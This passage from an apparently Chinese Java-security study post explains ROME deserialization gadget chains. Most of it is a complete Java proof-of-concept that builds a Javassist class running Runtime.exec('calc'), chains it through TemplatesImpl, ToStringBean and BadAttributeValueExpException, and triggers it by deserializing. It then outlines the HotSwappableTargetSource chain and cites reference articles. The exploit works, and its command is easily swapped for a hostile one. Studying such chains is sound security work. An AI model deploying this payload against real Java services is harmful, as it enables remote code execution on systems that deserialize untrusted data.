import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class BadAttributeValueExpException_payload {
public static void main(String[] args) throws Exception {
// 获取类池
ClassPool classPool = ClassPool.getDefault();
// 创建一个名为 Error 的类
CtClass error = classPool.makeClass("Error");
// 向 Error 对象中添加静态代码块
CtConstructor constructor = error.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// 设置 Error 的父类为 AbstractTranslet
CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
error.setSuperclass(abstractTranslet);
// 将 Error 对象输出成字节数组
byte[] errorBytecode = error.toBytecode();

// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_name", "aaa");
setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode});
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

// BadAttributeValueExpException 的 readObject 方法会调用 val 属性的 toString 方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap());
// 为防止调用构造方法命令执行,选择反射修改 val 属性值
setValue(badAttributeValueExpException, "val", toStringBean);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

// 反射设置属性值的过程可以抽离成一个方法
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

HotSwappableTargetSource 链

spring 原生的 toString 利用链。

调用链如下

  • HashMap.readObject
  • HashMap.putVal
  • HotSwappableTargetSource.equals
  • XString.equals
  • ToStringBean.toString

这个链子由于作者第一次接触,需要完整分析一下,内容过长,所以单独写了一篇文章。

参见:漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链

参考文章

Java 安全学习 —— ROME 反序列化

ROME 反序列化